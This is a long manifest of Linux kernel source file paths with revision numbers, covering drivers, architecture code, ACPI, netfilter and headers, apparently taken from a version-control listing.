linux/drivers/net/sunlance.c - 1.28 linux/drivers/net/sunhme.c - 1.39 linux/drivers/net/sunbmac.c - 1.23 linux/drivers/net/smc9194.c - 1.20 linux/drivers/net/sk_g16.c - 1.16 linux/drivers/net/shaper.c - 1.21 linux/drivers/net/sgiseeq.c - 1.16 linux/drivers/net/seeq8005.c - 1.15 linux/drivers/net/rcpci45.c - 1.24 linux/drivers/net/plip.c - 1.24 linux/drivers/net/pcnet32.c - 1.36 linux/drivers/net/ni65.c - 1.15 linux/drivers/net/ne2.c - 1.17 linux/drivers/net/myri_sbus.c - 1.16 linux/drivers/net/lance.c - 1.26 linux/drivers/net/hydra.c - 1.16 linux/drivers/net/hplance.c - 1.12 linux/drivers/net/hamradio/Config.in - 1.8 linux/drivers/net/fmv18x.c - 1.17 linux/drivers/net/ewrk3.c - 1.23 linux/drivers/net/eth16i.c - 1.21 linux/drivers/net/eexpress.c - 1.20 linux/drivers/net/eepro.c - 1.27 linux/drivers/net/depca.c - 1.20 linux/drivers/net/defxx.c - 1.23 linux/drivers/net/de620.c - 1.15 linux/drivers/net/de600.c - 1.17 linux/drivers/net/cs89x0.c - 1.25 linux/drivers/net/atp.c - 1.19 linux/drivers/net/atarilance.c - 1.13 linux/drivers/net/atari_pamsnet.c - 1.13 linux/drivers/net/atari_bionet.c - 1.13 linux/drivers/net/at1700.c - 1.19 linux/drivers/net/ariadne.c - 1.16 linux/drivers/net/am79c961a.c - 1.14 linux/drivers/net/a2065.c - 1.18 linux/drivers/net/8390.c - 1.26 linux/drivers/net/82596.c - 1.21 linux/drivers/net/7990.c - 1.9 linux/drivers/net/3c527.c - 1.19 linux/drivers/net/3c515.c - 1.23 linux/drivers/net/3c507.c - 1.22 linux/drivers/net/3c505.c - 1.27 linux/drivers/net/3c501.c - 1.20 linux/drivers/macintosh/Makefile - 1.15 linux/drivers/isdn/hisax/config.c - 1.30 linux/drivers/isdn/Config.in - 1.27 linux/drivers/char/vt.c - 1.26 linux/drivers/char/pc_keyb.c - 1.31 linux/drivers/char/mem.c - 1.48 linux/drivers/char/keyboard.c - 1.26 linux/drivers/char/console.c - 1.30 linux/drivers/char/conmakehash.c - 1.3 linux/drivers/char/Makefile - 1.69 linux/drivers/char/Config.in - 1.65 linux/drivers/block/xd.h - 1.11 linux/drivers/block/xd.c - 1.42 linux/drivers/block/ps2esdi.c - 1.44 linux/drivers/block/loop.c - 1.63 linux/drivers/block/acsi.c - 1.35 linux/arch/sparc64/prom/printf.c - 1.3 linux/arch/sparc64/mm/ultra.S - 1.29 linux/arch/sparc64/mm/modutil.c - 1.11 linux/arch/sparc64/mm/init.c - 1.47 linux/arch/sparc64/mm/fault.c - 1.23 linux/arch/sparc64/lib/blockops.S - 1.18 linux/arch/sparc64/kernel/ttable.S - 1.15 linux/arch/sparc64/kernel/traps.c - 1.21 linux/arch/sparc64/kernel/trampoline.S - 1.13 linux/arch/sparc64/kernel/systbls.S - 1.31 linux/arch/sparc64/kernel/sys_sparc32.c - 1.55 linux/arch/sparc64/kernel/sparc64_ksyms.c - 1.47 linux/arch/sparc64/kernel/smp.c - 1.48 linux/arch/sparc64/kernel/setup.c - 1.32 linux/arch/sparc64/kernel/ptrace.c - 1.19 linux/arch/sparc64/kernel/process.c - 1.39 linux/arch/sparc64/kernel/irq.c - 1.27 linux/arch/sparc64/kernel/head.S - 1.18 linux/arch/sparc64/kernel/etrap.S - 1.10 linux/arch/sparc64/kernel/entry.S - 1.25 linux/arch/sparc64/kernel/dtlb_base.S - 1.14 linux/arch/sparc64/kernel/devices.c - 1.13 linux/arch/sparc64/kernel/cpu.c - 1.8 linux/arch/sparc64/defconfig - 1.72 linux/arch/sparc64/config.in - 1.59 linux/arch/sparc/prom/printf.c - 1.5 linux/arch/sparc/mm/sun4c.c - 1.35 linux/arch/sparc/mm/srmmu.c - 1.35 linux/arch/sparc/mm/fault.c - 1.20 linux/arch/sparc/kernel/systbls.S - 1.25 linux/arch/sparc/kernel/sun4m_smp.c - 1.23 linux/arch/sparc/kernel/sun4m_irq.c - 1.10 linux/arch/sparc/kernel/sun4d_smp.c - 1.24 linux/arch/sparc/kernel/sun4d_irq.c - 1.16 linux/arch/sparc/kernel/sun4c_irq.c - 1.8 linux/arch/sparc/kernel/sparc_ksyms.c - 1.29 linux/arch/sparc/kernel/smp.c - 1.19 linux/arch/sparc/kernel/setup.c - 1.24 linux/arch/sparc/kernel/rtrap.S - 1.12 linux/arch/sparc/kernel/ptrace.c - 1.16 linux/arch/sparc/kernel/process.c - 1.29 linux/arch/sparc/kernel/pcic.c - 1.21 linux/arch/sparc/kernel/irq.c - 1.23 linux/arch/sparc/kernel/ebus.c - 1.14 linux/arch/sparc/kernel/Makefile - 1.16 linux/arch/sparc/config.in - 1.41 linux/arch/ppc/kernel/smp.c - 1.42 linux/arch/ppc/kernel/setup.c - 1.48 linux/arch/ppc/kernel/ppc_ksyms.c - 1.48 linux/arch/ppc/kernel/misc.S - 1.45 linux/arch/ppc/config.in - 1.58 linux/arch/ppc/amiga/config.c - 1.18 linux/arch/mips/config.in - 1.34 linux/arch/m68k/config.in - 1.33 linux/arch/i386/mm/ioremap.c - 1.18 linux/arch/i386/mm/fault.c - 1.27 linux/arch/i386/lib/checksum.S - 1.5 linux/arch/i386/kernel/vm86.c - 1.16 linux/arch/i386/kernel/traps.c - 1.57 linux/arch/i386/kernel/time.c - 1.24 linux/arch/i386/kernel/smp.c - 1.50 linux/arch/i386/kernel/signal.c - 1.28 linux/arch/i386/kernel/setup.c - 1.80 linux/arch/i386/kernel/process.c - 1.54 linux/arch/i386/kernel/mtrr.c - 1.40 linux/arch/i386/kernel/ldt.c - 1.13 linux/arch/i386/kernel/irq.c - 1.46 linux/arch/i386/kernel/io_apic.c - 1.43 linux/arch/i386/kernel/i386_ksyms.c - 1.53 linux/arch/i386/kernel/head.S - 1.26 linux/arch/i386/kernel/entry.S - 1.61 linux/arch/i386/kernel/apm.c - 1.52 linux/arch/i386/kernel/Makefile - 1.33 linux/arch/i386/defconfig - 1.110 linux/arch/i386/config.in - 1.87 linux/arch/i386/boot/setup.S - 1.28 linux/arch/arm/kernel/setup.c - 1.34 linux/arch/arm/kernel/armksyms.c - 1.28 linux/arch/alpha/kernel/smp.c - 1.37 linux/arch/alpha/kernel/alpha_ksyms.c - 1.35 linux/arch/alpha/config.in - 1.51 linux/arch/alpha/boot/Makefile - 1.11 linux/arch/alpha/Makefile - 1.17 linux/Makefile - 1.213 linux/MAINTAINERS - 1.114 linux/Documentation/filesystems/ntfs.txt - 1.20 linux/net/decnet/dn_route.c - 1.21 linux/net/decnet/af_decnet.c - 1.32 linux/include/linux/ide.h - 1.59 linux/drivers/video/vga16fb.c - 1.16 linux/drivers/video/fbcon-vga-planes.c - 1.7 linux/drivers/video/cyber2000fb.c - 1.35 linux/drivers/net/jazzsonic.c - 1.10 linux/drivers/net/declance.c - 1.15 linux/drivers/net/bagetlance.c - 1.12 linux/drivers/block/cpqarray.c - 1.53 linux/kernel/ptrace.c - 1.24 linux/drivers/net/mvme147.c - 1.9 linux/drivers/net/macsonic.c - 1.14 linux/fs/partitions/check.c - 1.49 linux/drivers/isdn/divert/divert_procfs.c - 1.19 linux/arch/i386/kernel/i8259.c - 1.32 linux/fs/nls/nls_iso8859-14.c - 1.7 linux/drivers/net/sb1000.c - 1.17 linux/drivers/block/DAC960.h - 1.17 linux/drivers/block/DAC960.c - 1.52 linux/arch/sparc64/kernel/pci.c - 1.29 linux/arch/sh/config.in - 1.28 linux/arch/sh/Makefile - 1.11 linux/drivers/scsi/ips.c - 1.29 linux/include/asm-i386/kmap_types.h - 1.10 linux/drivers/net/sun3lance.c - 1.12 linux/include/linux/spinlock.h - 1.20 linux/include/linux/acpi.h - 1.26 linux/drivers/net/wan/Config.in - 1.18 linux/arch/i386/kernel/smpboot.c - 1.44 linux/include/linux/pci_ids.h - 1.71 linux/drivers/net/wan/sbni.c - 1.18 linux/drivers/video/tdfxfb.c - 1.23 linux/drivers/net/pcmcia/xirc2ps_cs.c - 1.17 linux/include/asm-sh/smplock.h - 1.4 linux/drivers/video/aty128fb.c - 1.29 linux/drivers/pci/pci.ids - 1.51 linux/drivers/net/aironet4500_proc.c - 1.12 linux/drivers/net/aironet4500_card.c - 1.16 linux/include/linux/i2c-id.h - 1.12 linux/Documentation/i2c/summary - 1.3 linux/drivers/i2c/i2c-elektor.c - 1.12 linux/drivers/i2c/i2c-dev.c - 1.20 linux/drivers/i2c/i2c-core.c - 1.16 linux/drivers/i2c/i2c-algo-bit.c - 1.13 linux/drivers/i2c/Config.in - 1.7 linux/Documentation/i2c/dev-interface - 1.5 linux/Documentation/i2c/smbus-protocol - 1.3 linux/include/linux/i2c-dev.h - 1.9 linux/Documentation/i2c/writing-clients - 1.6 linux/drivers/sbus/char/jsflash.c - 1.21 linux/arch/i386/kernel/acpi.c - 1.28 linux/include/linux/input.h - 1.21 linux/include/asm-sparc/pgalloc.h - 1.15 linux/drivers/ieee1394/ieee1394_core.c - 1.21 linux/arch/i386/kernel/mpparse.c - 1.24 linux/drivers/scsi/scsi_scan.c - 1.29 linux/include/asm-sparc/ide.h - 1.13 linux/drivers/net/mac89x0.c - 1.11 linux/arch/ia64/kernel/entry.S - 1.28 linux/arch/ia64/kernel/efi.c - 1.16 linux/arch/ia64/kernel/acpi.c - 1.15 linux/arch/ia64/ia32/binfmt_elf32.c - 1.15 linux/arch/ia64/vmlinux.lds.S - 1.14 linux/arch/ia64/config.in - 1.34 linux/arch/ia64/boot/Makefile - 1.7 linux/arch/ia64/Makefile - 1.16 linux/arch/ia64/kernel/init_task.c - 1.5 linux/arch/ia64/kernel/irq.c - 1.21 linux/arch/ia64/tools/Makefile - 1.10 linux/arch/ia64/kernel/setup.c - 1.17 linux/arch/ia64/kernel/signal.c - 1.17 linux/arch/ia64/kernel/smp.c - 1.18 linux/arch/ia64/kernel/sys_ia64.c - 1.13 linux/arch/ia64/kernel/time.c - 1.14 linux/arch/ia64/kernel/traps.c - 1.15 linux/arch/ia64/kernel/unwind.c - 1.11 linux/arch/ia64/lib/Makefile - 1.14 linux/arch/ia64/lib/copy_user.S - 1.11 linux/arch/ia64/kernel/machvec.c - 1.4 linux/arch/ia64/kernel/pci.c - 1.14 linux/arch/ia64/kernel/process.c - 1.18 linux/arch/ia64/kernel/perfmon.c - 1.15 linux/arch/ia64/mm/tlb.c - 1.12 linux/arch/ia64/kernel/mca.c - 1.13 linux/arch/ia64/mm/init.c - 1.19 linux/arch/ia64/kernel/mca_asm.S - 1.10 linux/include/asm-ia64/keyboard.h - 1.5 linux/include/linux/rtc.h - 1.7 linux/include/asm-ia64/hardirq.h - 1.14 linux/include/asm-ia64/elf.h - 1.6 linux/include/asm-ia64/efi.h - 1.11 linux/include/asm-ia64/dma.h - 1.5 linux/include/asm-ia64/delay.h - 1.6 linux/include/asm-ia64/bitops.h - 1.10 linux/include/linux/raid/md_k.h - 1.26 linux/include/asm-ia64/serial.h - 1.2 linux/include/asm-ia64/smp.h - 1.12 linux/include/asm-ia64/scatterlist.h - 1.8 linux/include/asm-ia64/processor.h - 1.23 linux/include/linux/raid/md.h - 1.17 linux/include/asm-ia64/smplock.h - 1.7 linux/include/asm-ia64/pgalloc.h - 1.14 linux/include/asm-ia64/machvec.h - 1.10 linux/include/asm-ia64/pci.h - 1.15 linux/include/asm-ia64/param.h - 1.5 linux/include/asm-ia64/page.h - 1.15 linux/include/linux/raid/linear.h - 1.5 linux/include/asm-ia64/softirq.h - 1.9 linux/include/asm-ia64/offsets.h - 1.16 linux/include/asm-ia64/machvec_init.h - 1.5 linux/include/asm-ia64/mmu_context.h - 1.8 linux/include/asm-ia64/unistd.h - 1.22 linux/include/asm-ia64/system.h - 1.17 linux/drivers/video/sun3fb.c - 1.11 linux/arch/i386/kernel/microcode.c - 1.19 linux/drivers/isdn/hysdn/hysdn_procconf.c - 1.14 linux/drivers/isdn/hysdn/hysdn_proclog.c - 1.13 linux/drivers/video/matrox/matroxfb_misc.c - 1.6 linux/drivers/video/matrox/matroxfb_maven.h - 1.3 linux/drivers/video/matrox/matroxfb_maven.c - 1.6 linux/drivers/video/matrox/matroxfb_crtc2.h - 1.2 linux/drivers/video/matrox/matroxfb_crtc2.c - 1.11 linux/drivers/video/matrox/matroxfb_base.h - 1.14 linux/drivers/video/matrox/matroxfb_base.c - 1.20 linux/drivers/video/matrox/matroxfb_accel.h - 1.3 linux/drivers/video/matrox/matroxfb_accel.c - 1.8 linux/drivers/video/matrox/matroxfb_Ti3026.c - 1.7 linux/drivers/video/matrox/matroxfb_DAC1064.h - 1.6 linux/drivers/video/matrox/matroxfb_DAC1064.c - 1.12 linux/drivers/video/matrox/i2c-matroxfb.c - 1.5 linux/drivers/video/matrox/Makefile - 1.6 linux/include/asm-mips64/keyboard.h - 1.5 linux/arch/mips64/config.in - 1.24 linux/arch/mips64/Makefile - 1.11 linux/drivers/net/bonding.c - 1.13 linux/include/linux/brlock.h - 1.10 linux/drivers/video/riva/fbdev.c - 1.18 linux/drivers/video/hgafb.c - 1.16 linux/drivers/video/fbcon-hga.c - 1.6 linux/drivers/net/appletalk/ltpc.c - 1.12 linux/drivers/net/appletalk/ipddp.h - 1.2 linux/drivers/net/appletalk/ipddp.c - 1.9 linux/drivers/net/appletalk/cops.c - 1.13 linux/drivers/net/appletalk/Config.in - 1.5 linux/include/linux/usb.h - 1.44 linux/include/asm-ia64/hw_irq.h - 1.8 linux/arch/ia64/kernel/irq_ia64.c - 1.12 linux/drivers/ide/via82cxxx.c - 1.33 linux/drivers/ide/umc8672.c - 1.9 linux/drivers/ide/trm290.c - 1.16 linux/drivers/ide/sl82c105.c - 1.16 linux/drivers/ide/sis5513.c - 1.24 linux/drivers/ide/rz1000.c - 1.10 linux/drivers/ide/rapide.c - 1.8 linux/drivers/ide/q40ide.c - 1.7 linux/drivers/ide/piix.c - 1.29 linux/drivers/ide/pdc4030.c - 1.21 linux/drivers/ide/pdc202xx.c - 1.27 linux/drivers/ide/opti621.c - 1.15 linux/drivers/ide/ns87415.c - 1.14 linux/drivers/ide/macide.c - 1.6 linux/drivers/ide/ide_modes.h - 1.7 linux/drivers/ide/ide.c - 1.62 linux/drivers/ide/ide-tape.c - 1.34 linux/drivers/ide/ide-proc.c - 1.20 linux/drivers/ide/ide-probe.c - 1.33 linux/drivers/ide/ide-pnp.c - 1.9 linux/drivers/ide/ide-pmac.c - 1.21 linux/drivers/ide/ide-pci.c - 1.33 linux/drivers/ide/ide-geometry.c - 1.15 linux/drivers/ide/ide-floppy.c - 1.32 linux/drivers/ide/ide-dma.c - 1.28 linux/drivers/ide/ide-disk.c - 1.44 linux/drivers/ide/ide-cs.c - 1.12 linux/drivers/ide/ide-cd.h - 1.15 linux/drivers/ide/ide-cd.c - 1.44 linux/drivers/ide/icside.c - 1.22 linux/drivers/ide/ht6560b.c - 1.13 linux/drivers/ide/hpt366.c - 1.24 linux/drivers/ide/hpt34x.c - 1.18 linux/drivers/ide/hd.c - 1.27 linux/drivers/ide/gayle.c - 1.9 linux/drivers/ide/falconide.c - 1.7 linux/drivers/ide/dtc2278.c - 1.11 linux/drivers/ide/cy82c693.c - 1.16 linux/drivers/ide/cs5530.c - 1.15 linux/drivers/ide/cmd64x.c - 1.20 linux/drivers/ide/cmd640.c - 1.14 linux/drivers/ide/buddha.c - 1.12 linux/drivers/ide/alim15x3.c - 1.21 linux/drivers/ide/ali14xx.c - 1.13 linux/drivers/ide/Makefile - 1.26 linux/drivers/ide/Config.in - 1.31 linux/Documentation/DocBook/kernel-api.tmpl - 1.21 linux/net/ipv4/netfilter/ipt_owner.c - 1.7 linux/net/ipv4/netfilter/ipt_REJECT.c - 1.14 linux/net/ipv4/netfilter/ipfwadm_core.c - 1.12 linux/net/ipv4/netfilter/ip_nat_ftp.c - 1.10 linux/net/ipv4/netfilter/ip_nat_core.c - 1.13 linux/net/ipv4/netfilter/ip_fw_compat.c - 1.13 linux/net/ipv4/netfilter/ip_conntrack_standalone.c - 1.15 linux/net/ipv4/netfilter/ip_conntrack_ftp.c - 1.10 linux/net/ipv4/netfilter/ip_conntrack_core.c - 1.14 linux/net/ipv4/netfilter/Makefile - 1.16 linux/net/ipv4/netfilter/Config.in - 1.11 linux/include/linux/netfilter_ipv4/ipt_owner.h - 1.2 linux/include/linux/netfilter_ipv4/ip_nat.h - 1.4 linux/include/linux/netfilter_ipv4/ip_conntrack_ftp.h - 1.5 linux/include/linux/netfilter_ipv4/ip_conntrack_core.h - 1.6 linux/include/linux/netfilter_ipv4/ip_conntrack.h - 1.12 linux/drivers/usb/serial/usbserial.c - 1.39 linux/drivers/ide/aec62xx.c - 1.14 linux/arch/ia64/kernel/smpboot.c - 1.12 linux/fs/partitions/ibm.c - 1.14 linux/include/linux/raid/raid5.h - 1.10 linux/include/linux/raid/raid1.h - 1.12 linux/include/asm-s390/smplock.h - 1.4 linux/drivers/s390/block/dasd.c - 1.27 linux/drivers/s390/block/dasd_proc.c - 1.6 linux/arch/s390/kernel/smp.c - 1.15 linux/net/ipv6/netfilter/ip6_tables.c - 1.14 linux/net/ipv6/netfilter/Makefile - 1.11 linux/net/ipv6/netfilter/Config.in - 1.6 linux/arch/mips64/kernel/smp.c - 1.10 linux/include/asm-mips64/smplock.h - 1.3 linux/arch/i386/kernel/msr.c - 1.18 linux/arch/i386/kernel/cpuid.c - 1.11 linux/fs/xfs/linux/xfs_lrw.c - 1.164 linux/drivers/video/hitfb.c - 1.9 linux/drivers/usb/storage/usb.h - 1.15 linux/drivers/usb/storage/usb.c - 1.26 linux/drivers/usb/storage/transport.c - 1.25 linux/drivers/usb/storage/scsiglue.h - 1.3 linux/drivers/usb/storage/scsiglue.c - 1.25 linux/include/asm-sh/keyboard.h - 1.5 linux/arch/alpha/vmlinux.lds.in - 1.11 linux/drivers/acpi/tables/tbutils.c - 1.13 linux/drivers/acpi/tables/tbinstal.c - 1.12 linux/drivers/acpi/tables/tbget.c - 1.12 linux/drivers/acpi/tables.c - 1.5 linux/drivers/acpi/resources/rsdump.c - 1.10 linux/drivers/acpi/parser/pstree.c - 1.10 linux/drivers/acpi/parser/psparse.c - 1.14 linux/drivers/acpi/parser/psopcode.c - 1.13 linux/drivers/acpi/parser/psargs.c - 1.12 linux/drivers/acpi/namespace/nsutils.c - 1.12 linux/drivers/acpi/namespace/nssearch.c - 1.13 linux/drivers/acpi/namespace/nsnames.c - 1.12 linux/drivers/acpi/namespace/nsload.c - 1.12 linux/drivers/acpi/namespace/nseval.c - 1.14 linux/drivers/acpi/namespace/nsaccess.c - 1.13 linux/drivers/acpi/include/amlcode.h - 1.12 linux/drivers/acpi/include/acobject.h - 1.12 linux/drivers/acpi/hardware/hwregs.c - 1.13 linux/drivers/acpi/hardware/hwgpe.c - 1.11 linux/drivers/acpi/hardware/hwacpi.c - 1.11 linux/drivers/acpi/events/evxfevnt.c - 1.10 linux/drivers/acpi/events/evxface.c - 1.12 linux/drivers/acpi/events/evrgnini.c - 1.11 linux/drivers/acpi/events/evregion.c - 1.13 linux/drivers/acpi/events/evmisc.c - 1.11 linux/drivers/acpi/events/evevent.c - 1.13 linux/drivers/acpi/dispatcher/dswstate.c - 1.13 linux/drivers/acpi/dispatcher/dswload.c - 1.13 linux/drivers/acpi/dispatcher/dswexec.c - 1.12 linux/drivers/acpi/dispatcher/dsopcode.c - 1.13 linux/arch/ia64/ia32/ia32_ioctl.c - 1.5 linux/drivers/acpi/dispatcher/dsobject.c - 1.15 linux/drivers/acpi/dispatcher/dsmthdat.c - 1.11 linux/drivers/acpi/dispatcher/dsmethod.c - 1.12 linux/drivers/acpi/dispatcher/dsfield.c - 1.9 linux/arch/ia64/kernel/ia64_ksyms.c - 1.14 linux/drivers/acpi/Makefile - 1.17 linux/arch/ia64/lib/io.c - 1.4 linux/include/linux/netfilter_ipv4/ip_conntrack_tcp.h - 1.2 linux/drivers/net/natsemi.c - 1.22 linux/drivers/input/mousedev.c - 1.12 linux/drivers/input/keybdev.c - 1.12 linux/drivers/input/joydev.c - 1.12 linux/drivers/input/input.c - 1.12 linux/drivers/input/evdev.c - 1.13 linux/drivers/input/Makefile - 1.8 linux/drivers/input/Config.in - 1.6 linux/drivers/md/raid1.c - 1.24 linux/drivers/md/raid5.c - 1.31 linux/arch/i386/kernel/bluesmoke.c - 1.25 linux/drivers/acpi/include/acconfig.h - 1.15 linux/drivers/acpi/include/acglobal.h - 1.12 linux/drivers/acpi/include/aclocal.h - 1.14 linux/drivers/acpi/include/acmacros.h - 1.12 linux/drivers/acpi/include/acoutput.h - 1.9 linux/drivers/acpi/include/acparser.h - 1.9 linux/drivers/acpi/include/acresrc.h - 1.7 linux/drivers/acpi/namespace/nsdump.c - 1.10 linux/drivers/block/cciss.c - 1.40 linux/drivers/block/cciss.h - 1.12 linux/drivers/macintosh/adbhid.c - 1.7 linux/drivers/macintosh/mac_hid.c - 1.6 linux/drivers/md/linear.c - 1.12 linux/drivers/md/md.c - 1.52 linux/drivers/md/raid0.c - 1.11 linux/drivers/net/hamachi.c - 1.16 linux/drivers/scsi/cpqfc.Readme - 1.7 linux/drivers/scsi/cpqfcTSinit.c - 1.19 linux/drivers/scsi/cpqfcTSstructs.h - 1.10 linux/drivers/scsi/cpqfcTSworker.c - 1.11 linux/include/asm-ppc/kmap_types.h - 1.11 linux/drivers/ide/slc90e66.c - 1.10 linux/drivers/net/isa-skeleton.c - 1.8 linux/include/asm-ia64/module.h - 1.8 linux/drivers/video/sis/sis_main.c - 1.14 linux/drivers/video/fbcon-sti.c - 1.6 linux/drivers/video/sticon-bmode.c - 1.6 linux/drivers/video/sticon.c - 1.3 linux/drivers/video/sticore.c - 1.5 linux/drivers/video/stifb.c - 1.5 linux/drivers/net/lasi_82596.c - 1.10 linux/include/asm-parisc/keyboard.h - 1.2 linux/drivers/usb/serial/Config.in - 1.17 linux/arch/i386/kernel/dmi_scan.c - 1.19 linux/arch/parisc/kernel/parisc_ksyms.c - 1.3 linux/include/asm-parisc/smplock.h - 1.3 linux/arch/mips64/ld.script.elf32.S - 1.4 linux/arch/parisc/config.in - 1.10 linux/arch/parisc/Makefile - 1.5 linux/drivers/acpi/tables/tbconvrt.c - 1.10 linux/drivers/acpi/namespace/nsinit.c - 1.11 linux/drivers/video/matrox/matroxfb_g450.c - 1.6 linux/drivers/acpi/include/actbl2.h - 1.7 linux/drivers/video/matrox/matroxfb_g450.h - 1.3 linux/mm/shmem.c - 1.44 linux/arch/ia64/kernel/iosapic.c - 1.10 linux/arch/ia64/lib/swiotlb.c - 1.9 linux/drivers/acpi/acpi_ksyms.c - 1.9 linux/drivers/acpi/hardware/hwsleep.c - 1.9 linux/drivers/usb/storage/unusual_devs.h - 1.11 linux/drivers/ide/ide-timing.h - 1.4 linux/arch/s390x/kernel/smp.c - 1.12 linux/drivers/video/riva/accel.c - 1.3 linux/arch/cris/config.in - 1.15 linux/include/asm-s390x/smplock.h - 1.3 linux/include/asm-cris/smplock.h - 1.2 linux/arch/s390x/Makefile - 1.9 linux/include/asm-sparc64/dcr.h - 1.2 linux/drivers/scsi/aic7xxx_old.c - 1.20 linux/drivers/net/sungem.c - 1.20 linux/drivers/net/wan/sdla_ft1.c - 1.5 linux/drivers/video/epson1355fb.c - 1.6 linux/drivers/video/maxinefb.c - 1.7 linux/drivers/video/pmag-ba-fb.c - 1.6 linux/drivers/video/pmagb-b-fb.c - 1.6 linux/arch/sparc64/kernel/chmc.c - 1.3 linux/fs/nls/nls_iso8859-13.c - 1.5 linux/include/asm-ia64/kregs.h - 1.4 linux/include/asm-ia64/perfmon.h - 1.5 linux/arch/ia64/sn/io/pciba.c - 1.3 linux/drivers/mtd/maps/Config.in - 1.6 linux/drivers/acpi/executer/exstore.c - 1.9 linux/drivers/acpi/utilities/utxface.c - 1.7 linux/drivers/acpi/utilities/utmisc.c - 1.7 linux/drivers/acpi/utilities/utinit.c - 1.6 linux/drivers/acpi/utilities/utglobal.c - 1.10 linux/drivers/acpi/utilities/uteval.c - 1.8 linux/drivers/acpi/utilities/utdebug.c - 1.7 linux/drivers/acpi/include/acutils.h - 1.8 linux/drivers/acpi/include/platform/acenv.h - 1.9 linux/drivers/acpi/debugger/dbcmds.c - 1.8 linux/drivers/acpi/debugger/dbdisply.c - 1.9 linux/drivers/acpi/debugger/dbexec.c - 1.6 linux/drivers/acpi/debugger/dbfileio.c - 1.9 linux/drivers/acpi/debugger/dbhistry.c - 1.5 linux/drivers/acpi/debugger/dbinput.c - 1.6 linux/drivers/acpi/debugger/dbstats.c - 1.7 linux/drivers/acpi/debugger/dbutils.c - 1.7 linux/drivers/acpi/debugger/dbxface.c - 1.7 linux/drivers/acpi/executer/exutils.c - 1.8 linux/drivers/acpi/executer/exdump.c - 1.10 linux/drivers/acpi/executer/exfldio.c - 1.8 linux/drivers/acpi/executer/exmisc.c - 1.8 linux/drivers/acpi/executer/exprep.c - 1.8 linux/drivers/acpi/executer/exregion.c - 1.7 linux/drivers/acpi/executer/exresop.c - 1.9 linux/drivers/isdn/tpam/tpam_main.c - 1.6 linux/arch/mips/kernel/smp.c - 1.10 linux/drivers/net/irda/ali-ircc.c - 1.9 linux/drivers/net/lp486e.c - 1.6 linux/drivers/video/pvr2fb.c - 1.6 linux/drivers/usb/storage/isd200.c - 1.8 linux/drivers/video/aty/mach64_gx.c - 1.4 linux/arch/ia64/kernel/irq_lsapic.c - 1.2 linux/drivers/video/aty/Makefile - 1.5 linux/drivers/video/aty/atyfb.h - 1.3 linux/drivers/video/aty/atyfb_base.c - 1.13 linux/drivers/video/aty/mach64_accel.c - 1.5 linux/drivers/video/aty/mach64_ct.c - 1.3 linux/drivers/video/aty/mach64_cursor.c - 1.4 linux/drivers/s390/block/dasd_int.h - 1.7 linux/drivers/ide/serverworks.c - 1.16 linux/drivers/ide/it8172.c - 1.13 linux/arch/alpha/kernel/srm_env.c - 1.5 linux/drivers/ide/ide-adma.c - 1.3 linux/drivers/ide/amd74xx.c - 1.16 linux/include/linux/prefetch.h - 1.3 linux/drivers/video/tx3912fb.c - 1.6 linux/drivers/video/sstfb.c - 1.8 linux/drivers/video/radeonfb.c - 1.11 linux/drivers/ide/qd65xx.h - 1.4 linux/drivers/ide/qd65xx.c - 1.12 linux/drivers/isdn/hisax/st5481.h - 1.6 linux/drivers/isdn/hisax/st5481_init.c - 1.4 linux/drivers/scsi/53c700.c - 1.9 linux/drivers/isdn/hisax/hisax_debug.h - 1.3 linux/include/linux/raid/multipath.h - 1.6 linux/drivers/md/multipath.c - 1.12 linux/drivers/ide/ataraid.h - 1.3 linux/drivers/ide/pdcraid.h - 1.2 linux/drivers/ide/pdcraid.c - 1.13 linux/drivers/ide/hptraid.h - 1.3 linux/drivers/ide/hptraid.c - 1.12 linux/drivers/ide/ataraid.c - 1.12 linux/include/asm-ia64/tlb.h - 1.4 linux/drivers/ide/ide-m8xx.c - 1.6 linux/drivers/i2c/i2c-proc.c - 1.5 linux/drivers/message/i2o/i2o_block.c - 1.19 linux/drivers/net/8139cp.c - 1.17 linux/drivers/acpi/executer/exoparg2.c - 1.7 linux/drivers/acpi/executer/exoparg1.c - 1.8 linux/net/ipv4/netfilter/ip_nat_snmp_basic.c - 1.4 linux/net/ipv4/netfilter/ip_conntrack_irc.c - 1.5 linux/include/linux/netfilter_ipv4/ip_conntrack_irc.h - 1.3 linux/drivers/scsi/sym53c8xx_2/sym_glue.c - 1.5 linux/drivers/isdn/hisax/hisax_fcpcipnp.c - 1.7 linux/include/linux/device.h - 1.14 linux/init/do_mounts.c - 1.17 linux/mm/mempool.c - 1.8 linux/Documentation/filesystems/driverfs.txt - 1.3 linux/drivers/usb/serial/ipaq.h - 1.4 linux/fs/xfs/pagebuf/page_buf.c - 1.56 linux/include/linux/init_task.h - 1.10 linux/drivers/ide/ide-taskfile.c - 1.19 linux/drivers/ide/pdcadma.c - 1.6 linux/net/ipv4/tcp_diag.c - 1.4 linux/drivers/video/neofb.c - 1.10 linux/net/ipv6/netfilter/ip6_queue.c - 1.3 linux/net/ipv4/netfilter/ipt_esp.c - 1.3 linux/net/ipv4/netfilter/ipt_ah.c - 1.3 linux/arch/alpha/Config.help - 1.6 linux/net/ipv6/netfilter/Config.help - 1.2 linux/net/ipv4/netfilter/Config.help - 1.3 linux/drivers/video/Config.help - 1.5 linux/drivers/char/Config.help - 1.8 linux/drivers/input/Config.help - 1.5 linux/drivers/base/interface.c - 1.8 linux/drivers/base/core.c - 1.12 linux/drivers/base/Makefile - 1.6 linux/drivers/pnp/pnpbios_core.c - 1.10 linux/drivers/input/joystick/amijoy.c - 1.4 linux/drivers/input/joystick/Config.in - 1.5 linux/drivers/input/joystick/Config.help - 1.5 linux/include/linux/stringify.h - 1.3 linux/sound/oss/es1371.c - 1.5 linux/arch/ppc/platforms/chrp_setup.c - 1.9 linux/arch/ppc/platforms/pmac_setup.c - 1.6 linux/arch/x86_64/Makefile - 1.7 linux/arch/x86_64/config.in - 1.11 linux/arch/x86_64/kernel/smp.c - 1.7 linux/arch/x86_64/kernel/x8664_ksyms.c - 1.7 linux/sound/oss/Config.in - 1.4 linux/include/asm-x86_64/keyboard.h - 1.2 linux/include/asm-x86_64/smplock.h - 1.2 linux/include/asm-ppc64/hardirq.h - 1.4 linux/arch/ppc64/mm/init.c - 1.7 linux/drivers/video/matrox/g450_pll.h - 1.2 linux/include/asm-ppc64/delay.h - 1.2 linux/drivers/video/matrox/g450_pll.c - 1.2 linux/include/asm-ppc64/keyboard.h - 1.2 linux/arch/ppc64/Makefile - 1.7 linux/arch/ppc64/boot/Makefile - 1.5 linux/arch/ppc64/config.in - 1.9 linux/arch/ppc64/defconfig - 1.6 